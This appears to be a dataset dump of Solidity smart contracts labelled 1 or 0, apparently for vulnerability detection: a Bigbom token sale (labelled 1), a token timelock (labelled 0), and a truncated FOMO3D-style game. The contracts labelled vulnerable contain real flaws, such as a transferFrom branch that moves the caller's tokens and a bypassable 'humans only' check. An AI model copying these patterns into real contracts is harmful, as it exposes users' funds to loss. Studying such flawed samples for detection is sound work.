source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
---|---|---|
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed _from, address indexed _to, uint _value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract BigbomContributorWhiteList is Ownable {
mapping(address=>uint) public addressMinCap;
mapping(address=>uint) public addressMaxCap;
function BigbomContributorWhiteList() public {}
event ListAddress( address _user, uint _mincap, uint _maxcap, uint _time );
function listAddress( address _user, uint _mincap, uint _maxcap ) public onlyOwner {
require(_mincap <= _maxcap);
require(_user != address(0x0));
addressMinCap[_user] = _mincap;
addressMaxCap[_user] = _maxcap;
ListAddress( _user, _mincap, _maxcap, now );
}
function listAddresses( address[] _users, uint[] _mincap, uint[] _maxcap ) public onlyOwner {
require(_users.length == _mincap.length );
require(_users.length == _maxcap.length );
for( uint i = 0 ; i < _users.length ; i++ ) {
listAddress( _users[i], _mincap[i], _maxcap[i] );
}
}
function getMinCap( address _user ) public constant returns(uint) {
return addressMinCap[_user];
}
function getMaxCap( address _user ) public constant returns(uint) {
return addressMaxCap[_user];
}
}
contract BigbomPrivateSaleList is Ownable {
mapping(address=>uint) public addressCap;
function BigbomPrivateSaleList() public {}
event ListAddress( address _user, uint _amount, uint _time );
function listAddress( address _user, uint _amount ) public onlyOwner {
require(_user != address(0x0));
addressCap[_user] = _amount;
ListAddress( _user, _amount, now );
}
function listAddresses( address[] _users, uint[] _amount ) public onlyOwner {
require(_users.length == _amount.length );
for( uint i = 0 ; i < _users.length ; i++ ) {
listAddress( _users[i], _amount[i] );
}
}
function getCap( address _user ) public constant returns(uint) {
return addressCap[_user];
}
}
contract BigbomToken is StandardToken, Ownable {
string public constant name = "Bigbom";
string public constant symbol = "BBO";
uint public constant decimals = 18;
uint public totalSupply = 2000000000 * 1e18;
uint public constant founderAmount = 200000000 * 1e18;
uint public constant coreStaffAmount = 60000000 * 1e18;
uint public constant advisorAmount = 140000000 * 1e18;
uint public constant networkGrowthAmount = 600000000 * 1e18;
uint public constant reserveAmount = 635000000 * 1e18;
uint public constant bountyAmount = 40000000 * 1e18;
uint public constant publicSaleAmount = 275000000 * 1e18;
address public bbFounderCoreStaffWallet ;
address public bbAdvisorWallet;
address public bbAirdropWallet;
address public bbNetworkGrowthWallet;
address public bbReserveWallet;
address public bbPublicSaleWallet;
uint public saleStartTime;
uint public saleEndTime;
address public tokenSaleContract;
BigbomPrivateSaleList public privateSaleList;
mapping (address => bool) public frozenAccount;
mapping (address => uint) public frozenTime;
mapping (address => uint) public maxAllowedAmount;
event FrozenFunds(address target, bool frozen, uint _seconds);
function checkMaxAllowed(address target) public constant returns (uint) {
var maxAmount = balances[target];
if(target == bbFounderCoreStaffWallet){
maxAmount = 10000000 * 1e18;
}
if(target == bbAdvisorWallet){
maxAmount = 10000000 * 1e18;
}
if(target == bbAirdropWallet){
maxAmount = 40000000 * 1e18;
}
if(target == bbNetworkGrowthWallet){
maxAmount = 20000000 * 1e18;
}
if(target == bbReserveWallet){
maxAmount = 6350000 * 1e18;
}
return maxAmount;
}
function selfFreeze(bool freeze, uint _seconds) public {
require(_seconds <= 7 * 24 * 3600);
if(!freeze){
var frozenEndTime = frozenTime[msg.sender];
require (now >= frozenEndTime);
frozenAccount[msg.sender] = freeze;
_seconds = 0;
}else{
frozenAccount[msg.sender] = freeze;
}
frozenTime[msg.sender] = now + _seconds;
FrozenFunds(msg.sender, freeze, _seconds);
}
function freezeAccount(address target, bool freeze, uint _seconds) onlyOwner public {
if(!freeze){
var frozenEndTime = frozenTime[target];
require (now >= frozenEndTime);
frozenAccount[target] = freeze;
_seconds = 0;
}else{
frozenAccount[target] = freeze;
}
frozenTime[target] = now + _seconds;
FrozenFunds(target, freeze, _seconds);
}
modifier validDestination( address to ) {
require(to != address(0x0));
require(to != address(this) );
require(!frozenAccount[to]);
_;
}
modifier validFrom(address from){
require(!frozenAccount[from]);
_;
}
modifier onlyWhenTransferEnabled() {
if( now <= saleEndTime && now >= saleStartTime ) {
require( msg.sender == tokenSaleContract );
}
_;
}
modifier onlyPrivateListEnabled(address _to){
require(now <= saleStartTime);
uint allowcap = privateSaleList.getCap(_to);
require (allowcap > 0);
_;
}
function setPrivateList(BigbomPrivateSaleList _privateSaleList) onlyOwner public {
require(_privateSaleList != address(0x0));
privateSaleList = _privateSaleList;
}
function BigbomToken(uint startTime, uint endTime, address admin, address _bbFounderCoreStaffWallet, address _bbAdvisorWallet,
address _bbAirdropWallet,
address _bbNetworkGrowthWallet,
address _bbReserveWallet,
address _bbPublicSaleWallet
) public {
require(admin!=address(0x0));
require(_bbAirdropWallet!=address(0x0));
require(_bbAdvisorWallet!=address(0x0));
require(_bbReserveWallet!=address(0x0));
require(_bbNetworkGrowthWallet!=address(0x0));
require(_bbFounderCoreStaffWallet!=address(0x0));
require(_bbPublicSaleWallet!=address(0x0));
balances[msg.sender] = totalSupply;
Transfer(address(0x0), msg.sender, totalSupply);
bbAirdropWallet = _bbAirdropWallet;
bbAdvisorWallet = _bbAdvisorWallet;
bbReserveWallet = _bbReserveWallet;
bbNetworkGrowthWallet = _bbNetworkGrowthWallet;
bbFounderCoreStaffWallet = _bbFounderCoreStaffWallet;
bbPublicSaleWallet = _bbPublicSaleWallet;
saleStartTime = startTime;
saleEndTime = endTime;
transferOwnership(admin);
}
function setTimeSale(uint startTime, uint endTime) onlyOwner public {
require (now < saleStartTime || now > saleEndTime);
require (now < startTime);
require ( startTime < endTime);
saleStartTime = startTime;
saleEndTime = endTime;
}
function setTokenSaleContract(address _tokenSaleContract) onlyOwner public {
require(_tokenSaleContract != address(0x0));
require (now < saleStartTime || now > saleEndTime);
tokenSaleContract = _tokenSaleContract;
}
function transfer(address _to, uint _value)
onlyWhenTransferEnabled
validDestination(_to)
validFrom(msg.sender)
public
returns (bool) {
if (msg.sender == bbFounderCoreStaffWallet || msg.sender == bbAdvisorWallet||
msg.sender == bbAirdropWallet|| msg.sender == bbNetworkGrowthWallet|| msg.sender == bbReserveWallet){
var withdrawAmount = maxAllowedAmount[msg.sender];
var defaultAllowAmount = checkMaxAllowed(msg.sender);
var maxAmount = defaultAllowAmount - withdrawAmount;
require(maxAmount >= _value);
if(maxAmount==_value){
var isTransfer = super.transfer(_to, _value);
selfFreeze(true, 24 * 3600);
maxAllowedAmount[msg.sender] = 0;
return isTransfer;
}else{
maxAllowedAmount[msg.sender] = maxAllowedAmount[msg.sender].add(_value);
}
}
return super.transfer(_to, _value);
}
function transferPrivateSale(address _to, uint _value)
onlyOwner
onlyPrivateListEnabled(_to)
public
returns (bool) {
return transfer( _to, _value);
}
function transferFrom(address _from, address _to, uint _value)
onlyWhenTransferEnabled
validDestination(_to)
validFrom(_from)
public
returns (bool) {
if (_from == bbFounderCoreStaffWallet || _from == bbAdvisorWallet||
_from == bbAirdropWallet|| _from == bbNetworkGrowthWallet|| _from == bbReserveWallet){
var withdrawAmount = maxAllowedAmount[_from];
var defaultAllowAmount = checkMaxAllowed(_from);
var maxAmount = defaultAllowAmount - withdrawAmount;
require(maxAmount >= _value);
if(maxAmount==_value){
var isTransfer = super.transfer(_to, _value);
selfFreeze(true, 24 * 3600);
maxAllowedAmount[_from] = 0;
return isTransfer;
}else{
maxAllowedAmount[_from] = maxAllowedAmount[_from].add(_value);
}
}
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) onlyWhenTransferEnabled
public
returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
function burnFrom(address _from, uint256 _value) onlyWhenTransferEnabled
public
returns (bool) {
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner public {
token.transfer( owner, amount );
}
}
contract BigbomTokenSale {
address public admin;
address public bigbomMultiSigWallet;
BigbomToken public token;
uint public raisedWei;
bool public haltSale;
uint public openSaleStartTime;
uint public openSaleEndTime;
BigbomContributorWhiteList public list;
mapping(address=>uint) public participated;
using SafeMath for uint;
function BigbomTokenSale( address _admin,
address _bigbomMultiSigWallet,
BigbomContributorWhiteList _whilteListContract,
uint _publicSaleStartTime,
uint _publicSaleEndTime,
BigbomToken _token) public
{
require (_publicSaleStartTime < _publicSaleEndTime);
require (_admin != address(0x0));
require (_bigbomMultiSigWallet != address(0x0));
require (_whilteListContract != address(0x0));
require (_token != address(0x0));
admin = _admin;
bigbomMultiSigWallet = _bigbomMultiSigWallet;
list = _whilteListContract;
openSaleStartTime = _publicSaleStartTime;
openSaleEndTime = _publicSaleEndTime;
token = _token;
}
function saleEnded() public constant returns(bool) {
return now > openSaleEndTime;
}
function saleStarted() public constant returns(bool) {
return now >= openSaleStartTime;
}
function setHaltSale( bool halt ) public {
require( msg.sender == admin );
haltSale = halt;
}
function contributorMinCap( address contributor ) public constant returns(uint) {
return list.getMinCap( contributor );
}
function contributorMaxCap( address contributor, uint amountInWei ) public constant returns(uint) {
uint cap = list.getMaxCap( contributor );
if( cap == 0 ) return 0;
uint remainedCap = cap.sub( participated[ contributor ] );
if( remainedCap > amountInWei ) return amountInWei;
else return remainedCap;
}
function checkMaxCap( address contributor, uint amountInWei ) internal returns(uint) {
uint result = contributorMaxCap( contributor, amountInWei );
participated[contributor] = participated[contributor].add( result );
return result;
}
function() payable public {
buy( msg.sender );
}
function getBonus(uint _tokens) public view returns (uint){
if (now > openSaleStartTime && now <= (openSaleStartTime+3 days)){
return _tokens.mul(25).div(100);
}
else
{
return 0;
}
}
event Buy( address _buyer, uint _tokens, uint _payedWei, uint _bonus );
function buy( address recipient ) payable public returns(uint){
require( ! haltSale );
require( saleStarted() );
require( ! saleEnded() );
uint mincap = contributorMinCap(recipient);
uint maxcap = checkMaxCap(recipient, msg.value );
uint allowValue = msg.value;
require( mincap > 0 );
require( maxcap > 0 );
require (msg.value >= mincap);
if( msg.value > maxcap ) {
allowValue = maxcap;
msg.sender.transfer( msg.value.sub( maxcap ) );
}
sendETHToMultiSig(allowValue);
raisedWei = raisedWei.add( allowValue );
uint recievedTokens = allowValue.mul( 20000 );
uint bonus = getBonus(recievedTokens);
recievedTokens = recievedTokens.add(bonus);
assert( token.transfer( recipient, recievedTokens ) );
Buy( recipient, recievedTokens, allowValue, bonus );
return msg.value;
}
function sendETHToMultiSig( uint value ) internal {
bigbomMultiSigWallet.transfer( value );
}
event FinalizeSale();
function finalizeSale() public {
require( saleEnded() );
token.burn(token.balanceOf(this));
FinalizeSale();
}
function emergencyDrain(ERC20 anyToken) public returns(bool){
require( msg.sender == admin );
require( saleEnded() );
if( this.balance > 0 ) {
sendETHToMultiSig( this.balance );
}
if( anyToken != address(0x0) ) {
assert( anyToken.transfer(bigbomMultiSigWallet, anyToken.balanceOf(this)) );
}
return true;
}
function debugBuy() payable public {
require( msg.value > 0 );
sendETHToMultiSig( msg.value );
}
} | 1 | 3,944 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract TokenTimelock {
using SafeERC20 for IERC20;
IERC20 private _token;
address private _sender;
address private _beneficiary;
uint256 private _releaseTime;
constructor(
IERC20 token,
address beneficiary,
uint256 releaseTime
)
public
{
require(releaseTime > block.timestamp);
_token = token;
_sender = msg.sender;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
function token() public view returns(IERC20) {
return _token;
}
function sender() public view returns(address) {
return _sender;
}
function beneficiary() public view returns(address) {
return _beneficiary;
}
function releaseTime() public view returns(uint256) {
return _releaseTime;
}
function release() public {
require((msg.sender == _sender) || (msg.sender == _beneficiary), "thou shall not pass!");
require(block.timestamp >= _releaseTime, "not yet.");
uint256 amount = _token.balanceOf(address(this));
require(amount > 0, "zero balance");
_token.safeTransfer(_beneficiary, amount);
}
function cancel() public {
require(msg.sender == _sender, "Only sender can do this");
uint256 amount = _token.balanceOf(address(this));
require(amount > 0, "zero balance");
_token.safeTransfer(_sender, amount);
}
} | 0 | 327 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract GrandTheftFOMO is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xC3647e8a2a7E2458ADc5f53b14BBEE1DAe1d7744);
address private admin = msg.sender;
string constant public name = "Grand Theft FOMO";
string constant public symbol = "GTF";
uint256 private rndExtra_ = 1 minutes;
uint256 private rndGap_ = 1 minutes;
uint256 constant private rndInit_ = 12 hours;
uint256 constant private rndInc_ = 5 minutes;
uint256 constant private rndMax_ = 12 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(51,0);
fees_[1] = F3Ddatasets.TeamFee(51,0);
fees_[2] = F3Ddatasets.TeamFee(51,0);
fees_[3] = F3Ddatasets.TeamFee(51,0);
potSplit_[0] = F3Ddatasets.PotSplit(51,0);
potSplit_[1] = F3Ddatasets.PotSplit(51,0);
potSplit_[2] = F3Ddatasets.PotSplit(51,0);
potSplit_[3] = F3Ddatasets.PotSplit(51,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
